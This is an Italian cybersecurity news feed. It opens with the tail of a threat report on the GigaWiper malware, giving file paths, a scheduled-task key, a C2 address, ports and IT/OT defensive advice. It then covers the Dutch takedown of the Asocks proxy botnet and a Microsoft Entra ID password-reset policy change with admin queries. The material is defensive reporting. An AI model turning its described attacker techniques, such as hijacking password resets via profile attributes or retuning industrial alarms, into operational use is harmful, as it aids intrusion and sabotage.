  C:\Users\[user]\AppData\Roaming\Microsoft\Spelling\SpellChecker.exe
  C:\ProgramData\WindowsUpdater.exe
Registry: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\OneDrive Update
## DETECTION
Microsoft detection name:  DoS:Win32/GigaWiper.A!dha
File size:                 10,416,128 bytes (tutti i campioni analizzati)
Topic-exchange prefix:     topicArgs:1562578125

Due righe per i difensori


Lato IT: Cercare task schedulati che eseguono binari non firmati da %APPDATA% o C:\ProgramData, specialmente task con nomi di prodotti Microsoft. Allertarsi su traffico verso 84[.]201[.]6[.]131 e su connessioni AMQPS o Redis verso le porte 7878 e 9988. Il canale Redis risultati è plain TCP: la cattura passiva di traffico RPush con chiavi task:{task_id} conferma un’infezione attiva. Bloccare gli hash indicati e trattare qualsiasi host con rilevamento DoS:Win32/GigaWiper.A!dha come compromesso: isolarlo e conservare un’immagine del disco prima della remediation. Applicare patch a sistemi VPN, edge e SharePoint esposti su Internet, vettori di accesso iniziale abituali per questo attore.

Lato OT: Segmentare le reti di controllo dall’IT. Rimuovere o mediare strettamente l’accesso remoto ai controller centrali, con credenziali univoche, monitorate e recuperabili attraverso un percorso che l’attaccante non possa bloccare. Allarmarsi su modifiche fuori banda a setpoint e modalità operative — non solo sui valori di processo — perché in questo incidente gli allarmi stessi erano stati resintonizzati. Conservare backup offline con controllo di versione dei programmi controller: il recupero da un controller cancellato deve essere un ripristino, non un esercizio di reverse-engineering. E fare drill: un esercizio tabletop che simuli un’intrusione IT-to-OT end-to-end vale più di qualsiasi singolo prodotto.

Fonte primaria: Profero Threat Intelligence — “The War Between Wars” (maggio 2026). La regola YARA completa e il mapping MITRE ATT&CK per ICS sono disponibili nel report originale su profero.io.


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Operazione Olanda: smantellata la botnet Asocks da 17 milioni di dispositivi — ma il lavoro non è finito


@Informatica (Italy e non Italy)
Le autorità olandesi hanno sequestrato oltre 200 server e disrupto la botnet Asocks, un servizio commerciale di proxy residenziali che aveva compromesso 17 milioni di dispositivi in 163 paesi. Il modello di


Operazione Olanda: smantellata la botnet Asocks da 17 milioni di dispositivi — ma il lavoro non è finito


Le autorità olandesi hanno smantellato una delle botnet più grandi mai documentate in Europa: 17 milioni di dispositivi compromessi in 163 paesi, controllati da oltre 200 server ospitati nei Paesi Bassi. Il servizio in questione era Asocks, una piattaforma di proxy residenziali che vendeva l’accesso alle macchine infette — computer, smartphone, router, dispositivi IoT domestici — ad altri criminali informatici per mascherare traffico malevolo come normale navigazione casalinga. Un caso che illumina il modello di business del proxy-as-a-crime del cybercrime contemporaneo.

L’operazione: polizia e NCSC agiscono di Concerto


L’intervento, eseguito tra il 28 e il 29 maggio 2026, è stato condotto dalla Politie olandese in collaborazione con il National Cyber Security Centre (NCSC). Gli agenti hanno fisicamente sequestrato un sottoinsieme dei server di backend da un provider di hosting nei Paesi Bassi che aveva fornito l’infrastruttura alla piattaforma. Il provider ha quindi proceduto a portare offline l’intera rete botnet una volta appurato il suo utilizzo per finalità criminali.

Secondo la dichiarazione dell’NCSC, la rete aveva silenziosamente compromesso 17 milioni di dispositivi attraverso 163 paesi. La composizione era eterogenea: computer desktop e laptop, tablet, smartphone Android, router domestici, smart home gadget e altri dispositivi IoT. Nessuna categoria di device connessa era immune: se accessibile, diventava un potenziale nodo della rete.

Asocks: il modello di business del proxy residenziale criminale


Il quotidiano locale NL Times ha identificato il servizio come Asocks, una piattaforma commerciale di proxy residenziali. Asocks non era solo uno strumento di hacking — era un servizio con un modello di business strutturato. Il sito pubblicizzava proxy aziendali, residenziali e mobili con abbonamenti mensili compresi tra $5 e $15, con sconti del 5-15% per acquisti bulk da 10 a 100 proxy.

La logica è semplice quanto efficace: se un criminale vuole condurre un attacco, una frode, uno scraping aggressivo o un test di credential stuffing, farlo dal proprio indirizzo IP è pericoloso. Se lo fa dall’IP di un appartamento a Rotterdam o da uno smartphone in Indonesia, il traffico appare come normale attività domestica. I difensori devono distinguere il legittimo dal malevolo in un mare di indirizzi residenziali puliti — un compito enormemente più difficile.

I proxy residenziali hanno usi legittimi: aggirare restrizioni geografiche, privacy personale, test di geolocalizzazione per aziende. Ma l’ecosistema ha un lato oscuro documentato: molti provider, come Asocks, costruiscono le loro reti infettando dispositivi a insaputa dei proprietari. In aprile 2024, il team Satori Threat Intelligence di HUMAN aveva già identificato una campagna denominata PROXYLIB che coinvolgeva dispositivi Android infetti con proxyware di LumiApps e Asocks.

Il problema che persiste: sito online, dispositivi ancora infetti


L’operazione presenta un limite strutturale fondamentale che le autorità stesse non nascondono: il sito web di Asocks è rimasto accessibile dopo il sequestro, e ogni singolo dispositivo compromesso è ancora infetto. Questo è il paradosso intrinseco delle operazioni contro le botnet basate su proxy residenziali: l’infrastruttura centrale è stata neutralizzata, ma i 17 milioni di endpoint infetti sparsi in tutto il mondo rimangono con il malware installato, pronti a essere reintegrati in una nuova rete di comando non appena l’operatore ricostruisca l’infrastruttura o venda l’accesso a un nuovo gestore.

Il caso ricorda operazioni precedenti contro reti analoghe: la disruzione di SocksEscort (marzo 2026), l’intervento contro BADBOX 2.0 che aveva infettato un milione di dispositivi (2025), e lo smantellamento di IPIDea (gennaio 2026) da parte di Google. Il pattern è ricorrente: le autorità colpiscono l’infrastruttura, ma la re-infezione dei dispositivi vulnerabili è questione di tempo se i proprietari non prendono contromisure attive.

Come funziona l’infezione e come difendersi


Come spiegato dall’NCSC, i dispositivi diventano parte di una botnet quando sono accessibili ad attori malevoli. Dopo aver ottenuto l’accesso, gli attaccanti installano malware che permette il controllo remoto del dispositivo, integrandolo nella rete usata per attività criminali. I vettori di infezione più comuni includono: app Android scaricate da store non ufficiali con proxyware nascosto, router domestici con credenziali di default o firmware obsoleto, dispositivi IoT con password di fabbrica mai cambiate, e exploit di vulnerabilità note in dispositivi edge non aggiornati.

L’NCSC raccomanda un insieme di misure difensive di base che, se applicate sistematicamente, riducono drasticamente la superficie di attacco. Per i singoli utenti: mantenere i sistemi operativi aggiornati, installare app solo da fonti attendibili, usare password robuste e uniche per ogni dispositivo, abilitare l’autenticazione a due fattori dove disponibile, cambiare le password predefinite su router e dispositivi IoT, proteggere le reti Wi-Fi con WPA2 o WPA3. Per le organizzazioni: mantenere visibilità sui dispositivi edge come router e firewall, monitorare il traffico in uscita per pattern anomali, segmentare la rete IoT da quella aziendale, e implementare sistemi di rilevamento delle anomalie che identifichino picchi insoliti di traffico uscente.

Il contesto: un’industria del proxy residenziale da regolamentare


L’operazione olandese si inserisce in un dibattito più ampio su come trattare il settore dei proxy residenziali. La linea tra servizi legittimi e infrastruttura criminale è spesso sottile: alcuni provider costruiscono reti con consenso esplicito degli utenti, che vengono compensati per condividere la loro larghezza di banda; altri come Asocks costruiscono le loro reti infettando dispositivi senza alcun consenso. Dal punto di vista del difensore, la distinzione è quasi irrilevante: il traffico malevolo che arriva da un proxy residenziale “consensuale” è indistinguibile da quello che usa un dispositivo compromesso.

Questa operazione è un segnale importante delle forze dell’ordine europee nella direzione di trattare i provider di proxy residenziali costruiti su dispositivi compromessi come infrastruttura criminale diretta, non come semplici facilitatori passivi. La prossimità geografica — i server erano fisicamente nei Paesi Bassi — ha reso possibile l’azione legale che operazioni distribuite globalmente rendono molto più complessa.

Fonti: The Hacker News, BleepingComputer, NL Times, NCSC Olanda — maggio 2026.


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Microsoft Entra ID: da settembre 2026 solo metodi registrati per il reset password self-service
#tech
spcnet.it/microsoft-entra-id-d…
@informatica


Microsoft Entra ID: da settembre 2026 solo metodi registrati per il reset password self-service


Cosa sta cambiando nel reset password di Entra ID


Microsoft ha annunciato una modifica sostanziale al funzionamento del portale Self-Service Password Reset (SSPR) di Microsoft Entra ID — il servizio di identity management un tempo noto come Azure Active Directory. A partire dal 7 settembre 2026, gli utenti potranno reimpostare la propria password solo tramite metodi di autenticazione ufficialmente registrati e verificati, non più attraverso semplici attributi di contatto presenti nel profilo.

Per gli amministratori IT, questo cambiamento richiede un’azione preventiva: verificare lo stato di registrazione degli utenti e comunicare la scadenza prima che l’enforcement entri in vigore.

La situazione attuale e il problema di sicurezza


Oggi Entra ID permette agli utenti di usare per l’SSPR dati come numero di telefono o email alternativa anche se questi non sono stati verificati tramite il flusso ufficiale di registrazione MFA/autenticazione. In pratica, un numero di telefono inserito nel profilo utente da un amministratore o importato da un sistema HR viene accettato come metodo valido di reset, senza che l’utente l’abbia mai confermato come proprio.

Questo approccio crea un vettore di attacco: se un attaccante riesce a modificare questi attributi del profilo (tramite compromissione di un account con privilegi di directory write), può dirottare il reset password verso un numero o un’email sotto il proprio controllo.

La nuova policy: solo metodi registrati e verificati


Dal 7 settembre 2026, SSPR accetterà esclusivamente metodi che l’utente ha registrato attivamente attraverso il portale aka.ms/mysecurityinfo o tramite il flusso combinato di registrazione MFA. I metodi validi includono:

  • App di autenticazione (Microsoft Authenticator o TOTP compatibili)
  • Telefono/SMS verificato tramite registrazione attiva
  • Email alternativa verificata tramite registrazione attiva
  • FIDO2 security key
  • Windows Hello for Business

Gli attributi di contatto non verificati nel profilo utente (come mobilePhone o otherMails non passati attraverso il flusso di registrazione) non saranno più considerati metodi validi.

Timeline e notifiche


Microsoft attiverà una campagna di notifiche agli utenti a partire dal 6 luglio 2026, invitandoli a registrare almeno un metodo prima della scadenza. L’enforcement completo scatterà il 7 settembre 2026: da quella data, gli utenti senza metodi registrati non potranno più usare l’SSPR autonomamente e dovranno rivolgersi all’helpdesk.

Secondo i dati Microsoft, circa l’86% degli utenti risulta già conforme. Il restante 14% rappresenta il gruppo a rischio su cui concentrare le azioni correttive.

Come verificare lo stato di conformità degli utenti


L’Entra admin center offre report specifici per verificare chi ha metodi registrati. Il percorso è:

Entra admin center → Protezione → Metodi di autenticazione → Attività di registrazione

È possibile esportare i dati o consultarli via Microsoft Graph API. Ad esempio, per ottenere gli utenti senza metodi di autenticazione registrati:
GET https://graph.microsoft.com/v1.0/reports/authenticationMethods/userRegistrationDetails
$filter=isMfaRegistered eq false and isSsprRegistered eq false

In alternativa, con PowerShell e il modulo Microsoft.Graph:
Connect-MgGraph -Scopes "Reports.Read.All"

Get-MgReportAuthenticationMethodUserRegistrationDetail `
  -Filter "isSsprRegistered eq false" |
  Select-Object UserPrincipalName, IsMfaRegistered, IsSsprRegistered |
  Export-Csv "utenti_senza_sspr.csv" -NoTypeInformation

Azioni raccomandate per gli amministratori


Prima del 6 luglio (inizio campagna di notifiche Microsoft) è opportuno:

  1. Eseguire il report sullo stato di registrazione dei metodi di autenticazione
  2. Identificare gli account critici — specialmente quelli con accesso privilegiato — che non hanno metodi registrati
  3. Comunicare proattivamente agli utenti la necessità di accedere ad aka.ms/mysecurityinfo e registrare almeno un metodo
  4. Configurare le Conditional Access policies per il flusso di registrazione combinato se non già attive, facilitando la registrazione guidata al primo accesso
  5. Verificare i Service Account: gli account non interattivi non usano SSPR, ma è buona pratica escluderli esplicitamente dalle policy SSPR per evitare false anomalie nei report


Come abilitare la registrazione combinata


Se non ancora abilitata, la registrazione combinata MFA + SSPR si attiva da:

Entra admin center → Identità → Panoramica → Proprietà
→ Gestisci impostazioni di sicurezza predefinite (oppure)

Entra admin center → Protezione → Metodi di autenticazione → Criteri
→ Abilitare "Registrazione combinata delle informazioni di sicurezza"

Con la registrazione combinata, la prima volta che un utente accede viene guidato nella configurazione di tutti i metodi richiesti, riducendo l’attrito e aumentando la compliance.

Conclusione


La modifica al SSPR di Entra ID è un passo logico verso un modello di autenticazione più rigoroso: garantire che ogni metodo usato per il reset della password sia stato effettivamente verificato dall’utente riduce significativamente il rischio di account takeover via social engineering o directory poisoning. Il 14% di utenti non conformi rappresenta comunque un numero da non sottovalutare in organizzazioni di grandi dimensioni, e il lavoro di remediation va pianificato con anticipo rispetto alla scadenza di settembre.

Fonte: 4sysops.com